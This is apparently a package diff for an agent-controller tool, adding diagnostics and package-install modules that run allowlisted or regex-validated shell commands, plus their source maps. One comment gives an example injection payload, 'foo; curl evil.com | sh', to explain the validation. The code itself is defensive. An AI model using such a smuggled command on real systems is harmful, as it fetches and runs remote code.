;QAC3C,EAAE,CAAC,aAAa,CAAC,WAAW,EAAE,EAAE,MAAM,CAAC,OAAO,CAAC,GAAG,CAAC,EAAE,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC;QACtE,OAAO,CAAC,GAAG,CAAC,6BAA6B,WAAW,EAAE,EAAE,CAAC,CAAC;IAC5D,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO,CAAC,KAAK,CAAC,oCAAoC,EAAE,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC;IAChG,CAAC;AACH,CAAC;AAED,4DAA4D;AAC5D,MAAM,UAAU,cAAc;IAC5B,IAAI,CAAC;QACH,EAAE,CAAC,UAAU,CAAC,WAAW,EAAE,CAAC,CAAC;QAC7B,OAAO,CAAC,GAAG,CAAC,6BAA6B,WAAW,EAAE,EAAE,CAAC,CAAC;IAC5D,CAAC;IAAC,MAAM,CAAC;QACP,8BAA8B;IAChC,CAAC;AACH,CAAC;AAED,gCAAgC;AAChC,MAAM,UAAU,iBAAiB;IAC/B,OAAO,EAAE,CAAC,UAAU,CAAC,WAAW,EAAE,CAAC,CAAC;AACtC,CAAC"}
1
+ {"version":3,"file":"lockfile.js","sourceRoot":"","sources":["../src/lockfile.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,SAAS,CAAC;AACzB,OAAO,IAAI,MAAM,WAAW,CAAC;AAC7B,OAAO,EAAE,MAAM,SAAS,CAAC;AAEzB,MAAM,SAAS,GAAG,uBAAuB,CAAC;AAE1C,SAAS,UAAU;IACjB,+CAA+C;IAC/C,2CAA2C;IAC3C,IAAI,EAAE,CAAC,UAAU,CAAC,sCAAsC,CAAC,EAAE,CAAC;QAC1D,OAAO,sCAAsC,CAAC;IAChD,CAAC;IACD,OAAO,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,OAAO,EAAE,EAAE,WAAW,EAAE,kBAAkB,CAAC,CAAC;AAClE,CAAC;AAED,SAAS,WAAW;IAClB,OAAO,IAAI,CAAC,IAAI,CAAC,UAAU,EAAE,EAAE,SAAS,CAAC,CAAC;AAC5C,CAAC;AAED,kCAAkC;AAClC,MAAM,UAAU,cAAc;IAC5B,IAAI,CAAC;QACH,MAAM,OAAO,GAAG,UAAU,EAAE,CAAC;QAC7B,EAAE,CAAC,SAAS,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC3C,EAAE,CAAC,aAAa,CAAC,WAAW,EAAE,EAAE,MAAM,CAAC,OAAO,CAAC,GAAG,CAAC,EAAE,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC;QACtE,OAAO,CAAC,GAAG,CAAC,6BAA6B,WAAW,EAAE,EAAE,CAAC,CAAC;IAC5D,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO,CAAC,KAAK,CAAC,oCAAoC,EAAE,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC;IAChG,CAAC;AACH,CAAC;AAED,4DAA4D;AAC5D,MAAM,UAAU,cAAc;IAC5B,IAAI,CAAC;QACH,EAAE,CAAC,UAAU,CAAC,WAAW,EAAE,CAAC,CAAC;QAC7B,OAAO,CAAC,GAAG,CAAC,6BAA6B,WAAW,EAAE,EAAE,CAAC,CAAC;IAC5D,CAAC;IAAC,MAAM,CAAC;QACP,8BAA8B;IAChC,CAAC;AACH,CAAC;AAED,gCAAgC;AAChC,MAAM,UAAU,iBAAiB;IAC/B,OAAO,EAAE,CAAC,UAAU,CAAC,WAAW,EAAE,CAAC,CAAC;AACtC,CAAC;AAED;;;;GAIG;AACH,MAAM,UAAU,eAAe;IAC7B,IAAI,CAAC;QACH,MAAM,GAAG,GAAG,EAAE,CAAC,YAAY,CAAC,WAAW,EAAE,EAAE,MAAM,CAAC,CAAC,IAAI,EAAE,CAAC;QAC1D,MAAM,GAAG,GAAG,MAAM,CAAC,QAAQ,CAAC,GAAG,EAAE,EAAE,CAAC,CAAC;QACrC,IAAI,CAAC,MAAM,CAAC,QAAQ,CAAC,GAAG,CAAC,IAAI,GAAG,IAAI,CAAC;YAAE,OAAO,IAAI,CAAC;QACnD,OAAO,GAAG,CAAC;IACb,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,IAAI,CAAC;IACd,CAAC;AACH,CAAC"}
@@ -0,0 +1,20 @@
1
+ export declare const ALLOWED_CHECKS: Record<string, string>;
2
+ export interface CheckResult {
3
+ stdout: string;
4
+ stderr: string;
5
+ success: boolean;
6
+ error?: string;
7
+ }
8
+ export interface UnknownCheck {
9
+ error: string;
10
+ }
11
+ export type DiagnosticsResult = Record<string, CheckResult | UnknownCheck>;
12
+ export declare function isKnownCheck(key: string): boolean;
13
+ /**
14
+ * Run one or more diagnostic checks. Each key is looked up in ALLOWED_CHECKS;
15
+ * unknown keys are recorded as `{ error: 'Unknown check' }` rather than
16
+ * throwing — the WS handler and CLI both surface that to the caller.
17
+ *
18
+ * Pass `undefined` (or no argument) to run every allowlisted check.
19
+ */
20
+ export declare function runDiagnostics(checks?: string[]): Promise<DiagnosticsResult>;
@@ -0,0 +1,55 @@
1
+ import { exec } from 'node:child_process';
2
+ // ---------------------------------------------------------------------------
3
+ // Shared diagnostics module — used by:
4
+ // - src/handlers/diagnostics.ts (WS handler)
5
+ // - src/commands/diagnostics-cli.ts (CLI)
6
+ //
7
+ // Allowlist of diagnostic checks. Adding a new key here exposes it both via
8
+ // WS and via the CLI automatically.
9
+ // ---------------------------------------------------------------------------
10
+ const DIAGNOSTICS_TIMEOUT_MS = 10_000;
11
+ export const ALLOWED_CHECKS = {
12
+ disk_usage: 'df -h',
13
+ memory_info: 'free -m || vm_stat',
14
+ uptime: 'uptime',
15
+ gateway_status: 'openclaw gateway status --json',
16
+ node_version: 'node --version',
17
+ controller_version: 'npm list -g @openclaw-cloud/agent-controller --depth=0',
18
+ processes: 'ps aux --sort=-rss | head -20',
19
+ };
20
+ export function isKnownCheck(key) {
21
+ return Object.prototype.hasOwnProperty.call(ALLOWED_CHECKS, key);
22
+ }
23
+ function runCheck(cmd) {
24
+ return new Promise((resolve) => {
25
+ exec(cmd, { timeout: DIAGNOSTICS_TIMEOUT_MS }, (error, stdout, stderr) => {
26
+ resolve({
27
+ stdout: stdout.toString(),
28
+ stderr: stderr.toString(),
29
+ success: !error,
30
+ ...(error ? { error: error.message } : {}),
31
+ });
32
+ });
33
+ });
34
+ }
35
+ /**
36
+ * Run one or more diagnostic checks. Each key is looked up in ALLOWED_CHECKS;
37
+ * unknown keys are recorded as `{ error: 'Unknown check' }` rather than
38
+ * throwing — the WS handler and CLI both surface that to the caller.
39
+ *
40
+ * Pass `undefined` (or no argument) to run every allowlisted check.
41
+ */
42
+ export async function runDiagnostics(checks) {
43
+ const targets = checks && checks.length > 0 ? checks : Object.keys(ALLOWED_CHECKS);
44
+ const results = {};
45
+ for (const key of targets) {
46
+ const cmd = ALLOWED_CHECKS[key];
47
+ if (!cmd) {
48
+ results[key] = { error: 'Unknown check' };
49
+ continue;
50
+ }
51
+ results[key] = await runCheck(cmd);
52
+ }
53
+ return results;
54
+ }
55
+ //# sourceMappingURL=diagnostics.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"diagnostics.js","sourceRoot":"","sources":["../../src/utils/diagnostics.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,oBAAoB,CAAC;AAE1C,8EAA8E;AAC9E,uCAAuC;AACvC,gDAAgD;AAChD,4CAA4C;AAC5C,EAAE;AACF,4EAA4E;AAC5E,oCAAoC;AACpC,8EAA8E;AAE9E,MAAM,sBAAsB,GAAG,MAAM,CAAC;AAEtC,MAAM,CAAC,MAAM,cAAc,GAA2B;IACpD,UAAU,EAAE,OAAO;IACnB,WAAW,EAAE,oBAAoB;IACjC,MAAM,EAAE,QAAQ;IAChB,cAAc,EAAE,gCAAgC;IAChD,YAAY,EAAE,gBAAgB;IAC9B,kBAAkB,EAAE,wDAAwD;IAC5E,SAAS,EAAE,+BAA+B;CAC3C,CAAC;AAeF,MAAM,UAAU,YAAY,CAAC,GAAW;IACtC,OAAO,MAAM,CAAC,SAAS,CAAC,cAAc,CAAC,IAAI,CAAC,cAAc,EAAE,GAAG,CAAC,CAAC;AACnE,CAAC;AAED,SAAS,QAAQ,CAAC,GAAW;IAC3B,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,EAAE;QAC7B,IAAI,CAAC,GAAG,EAAE,EAAE,OAAO,EAAE,sBAAsB,EAAE,EAAE,CAAC,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,EAAE;YACvE,OAAO,CAAC;gBACN,MAAM,EAAE,MAAM,CAAC,QAAQ,EAAE;gBACzB,MAAM,EAAE,MAAM,CAAC,QAAQ,EAAE;gBACzB,OAAO,EAAE,CAAC,KAAK;gBACf,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,KAAK,EAAE,KAAK,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;aAC3C,CAAC,CAAC;QACL,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;AACL,CAAC;AAED;;;;;;GAMG;AACH,MAAM,CAAC,KAAK,UAAU,cAAc,CAAC,MAAiB;IACpD,MAAM,OAAO,GAAG,MAAM,IAAI,MAAM,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,MAAM,CAAC,IAAI,CAAC,cAAc,CAAC,CAAC;IACnF,MAAM,OAAO,GAAsB,EAAE,CAAC;IACtC,KAAK,MAAM,GAAG,IAAI,OAAO,EAAE,CAAC;QAC1B,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,IAAI,CAAC,GAAG,EAAE,CAAC;YACT,OAAO,CAAC,GAAG,CAAC,GAAG,EAAE,KAAK,EAAE,eAAe,EAAE,CAAC;YAC1C,SAAS;QACX,CAAC;QACD,OAAO,CAAC,GAAG,CAAC,GAAG,MAAM,QAAQ,CAAC,GAAG,CAAC,CAAC;IACrC,CAAC;IACD,OAAO,OAAO,CAAC;AACjB,CAAC"}
@@ -0,0 +1,14 @@
1
+ export declare const INSTALL_TIMEOUT_MS = 300000;
2
+ export type PackageManager = 'apt' | 'npm' | 'pip';
3
+ export declare function isSafePackageName(name: string): boolean;
4
+ export declare function buildInstallCommand(manager: PackageManager, pkg: string): string;
5
+ export interface InstallOnePackageResult {
6
+ ok: boolean;
7
+ error?: string;
8
+ }
9
+ /**
10
+ * Install a single package via the named manager. Validates the package
11
+ * name against the allowlist regex first; never reaches the shell with an
12
+ * unsafe name.
13
+ */
14
+ export declare function installOnePackage(manager: PackageManager, pkg: string, timeoutMs?: number): Promise<InstallOnePackageResult>;
@@ -0,0 +1,60 @@
1
+ import { exec } from 'node:child_process';
2
+ import { toErrorMessage } from './response.js';
3
+ // ---------------------------------------------------------------------------
4
+ // Shared package-install module — used by:
5
+ // - src/handlers/package-install.ts (WS handler)
6
+ // - src/commands/package-install-cli.ts (CLI)
7
+ //
8
+ // Security model: regex allowlist on package names rather than an enum of
9
+ // blessed packages. We accept characters that are valid in real package
10
+ // names on apt/npm/pip and reject every shell metacharacter so that a
11
+ // payload like "foo; curl evil.com | sh" cannot reach the shell.
12
+ // ---------------------------------------------------------------------------
13
+ export const INSTALL_TIMEOUT_MS = 300_000; // 5 minutes total
14
+ /**
15
+ * Allowed: letters, digits, @, ., _, /, -, +, :, %, [, ], ^, ~, =, comma, *
16
+ * (covers npm scopes, semver ranges like "pkg@^1.2", apt epoch prefixes
17
+ * like "2:pkg", pip extras "pkg[extra]")
18
+ */
19
+ const SAFE_PACKAGE_NAME_RE = /^[a-zA-Z0-9@._/\-+:%[\]^~=,*]+$/;
20
+ export function isSafePackageName(name) {
21
+ return SAFE_PACKAGE_NAME_RE.test(name);
22
+ }
23
+ export function buildInstallCommand(manager, pkg) {
24
+ switch (manager) {
25
+ case 'apt':
26
+ return `apt-get install -y ${pkg}`;
27
+ case 'npm':
28
+ return `npm install -g ${pkg}`;
29
+ case 'pip':
30
+ return `pip install ${pkg}`;
31
+ }
32
+ }
33
+ function execPackage(cmd, timeoutMs) {
34
+ return new Promise((resolve, reject) => {
35
+ exec(cmd, { timeout: timeoutMs }, (error) => {
36
+ if (error)
37
+ reject(error);
38
+ else
39
+ resolve();
40
+ });
41
+ });
42
+ }
43
+ /**
44
+ * Install a single package via the named manager. Validates the package
45
+ * name against the allowlist regex first; never reaches the shell with an
46
+ * unsafe name.
47
+ */
48
+ export async function installOnePackage(manager, pkg, timeoutMs = INSTALL_TIMEOUT_MS) {
49
+ if (!isSafePackageName(pkg)) {
50
+ return { ok: false, error: 'Invalid package name: contains disallowed characters' };
51
+ }
52
+ try {
53
+ await execPackage(buildInstallCommand(manager, pkg), timeoutMs);
54
+ return { ok: true };
55
+ }
56
+ catch (err) {
57
+ return { ok: false, error: toErrorMessage(err) };
58
+ }
59
+ }
60
+ //# sourceMappingURL=package-install.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"package-install.js","sourceRoot":"","sources":["../../src/utils/package-install.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,oBAAoB,CAAC;AAC1C,OAAO,EAAE,cAAc,EAAE,MAAM,eAAe,CAAC;AAE/C,8EAA8E;AAC9E,2CAA2C;AAC3C,oDAAoD;AACpD,gDAAgD;AAChD,EAAE;AACF,0EAA0E;AAC1E,wEAAwE;AACxE,sEAAsE;AACtE,iEAAiE;AACjE,8EAA8E;AAE9E,MAAM,CAAC,MAAM,kBAAkB,GAAG,OAAO,CAAC,CAAC,kBAAkB;AAE7D;;;;GAIG;AACH,MAAM,oBAAoB,GAAG,iCAAiC,CAAC;AAI/D,MAAM,UAAU,iBAAiB,CAAC,IAAY;IAC5C,OAAO,oBAAoB,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AACzC,CAAC;AAED,MAAM,UAAU,mBAAmB,CAAC,OAAuB,EAAE,GAAW;IACtE,QAAQ,OAAO,EAAE,CAAC;QAChB,KAAK,KAAK;YACR,OAAO,sBAAsB,GAAG,EAAE,CAAC;QACrC,KAAK,KAAK;YACR,OAAO,kBAAkB,GAAG,EAAE,CAAC;QACjC,KAAK,KAAK;YACR,OAAO,eAAe,GAAG,EAAE,CAAC;IAChC,CAAC;AACH,CAAC;AAED,SAAS,WAAW,CAAC,GAAW,EAAE,SAAiB;IACjD,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;QACrC,IAAI,CAAC,GAAG,EAAE,EAAE,OAAO,EAAE,SAAS,EAAE,EAAE,CAAC,KAAK,EAAE,EAAE;YAC1C,IAAI,KAAK;gBAAE,MAAM,CAAC,KAAK,CAAC,CAAC;;gBACpB,OAAO,EAAE,CAAC;QACjB,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;AACL,CAAC;AAOD;;;;GAIG;AACH,MAAM,CAAC,KAAK,UAAU,iBAAiB,CACrC,OAAuB,EACvB,GAAW,EACX,YAAoB,kBAAkB;IAEtC,IAAI,CAAC,iBAAiB,CAAC,GAAG,CAAC,EAAE,CAAC;QAC5B,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,KAAK,EAAE,sDAAsD,EAAE,CAAC;IACtF,CAAC;IACD,IAAI,CAAC;QACH,MAAM,WAAW,CAAC,mBAAmB,CAAC,OAAO,EAAE,GAAG,CAAC,EAAE,SAAS,CAAC,CAAC;QAChE,OAAO,EAAE,EAAE,EAAE,IAAI,EAAE,CAAC;IACtB,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,KAAK,EAAE,cAAc,CAAC,GAAG,CAAC,EAAE,CAAC;IACnD,CAAC;AACH,CAAC"}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@openclaw-cloud/agent-controller",
3
- "version": "2.4.0-beta.3",
3
+ "version": "2.4.0-beta.4",
4
4
  "type": "module",
5
5
  "main": "dist/index.js",
6
6
  "bin": {